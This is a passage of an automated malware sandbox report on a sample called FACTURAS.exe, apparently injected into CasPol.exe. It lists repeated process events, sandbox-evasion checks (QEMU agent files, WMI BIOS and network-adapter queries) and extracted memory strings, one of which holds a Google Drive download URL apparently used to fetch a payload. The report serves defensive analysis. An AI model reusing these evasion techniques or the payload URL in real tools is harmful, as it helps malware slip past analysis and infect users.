            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion:

            barindex
            Tries to detect Any.runShow sources
            Source: C:\Users\user\Desktop\FACTURAS.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Users\user\Desktop\FACTURAS.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
            Source: FACTURAS.exe, 00000000.00000002.2779665465.0000000003120000.00000004.00000001.sdmpBinary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXE\SYSWOW64\MSVBVM60.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXE\SYSWOW64\MSVBVM60.DLL
            Source: FACTURAS.exe, 00000000.00000002.2779665465.0000000003120000.00000004.00000001.sdmp, CasPol.exe, 0000000D.00000002.7334475913.0000000000E30000.00000004.00000001.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
            Source: FACTURAS.exe, 00000000.00000002.2777688692.00000000005BD000.00000004.00000020.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
            Source: CasPol.exe, 0000000D.00000002.7334475913.0000000000E30000.00000004.00000001.sdmpBinary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=150165GSKZ9-M3FAHFFVN26GKULRYSZPU
            Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)Show sources
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
            Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)Show sources
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3996Thread sleep time: -2767011611056431s >= -30000s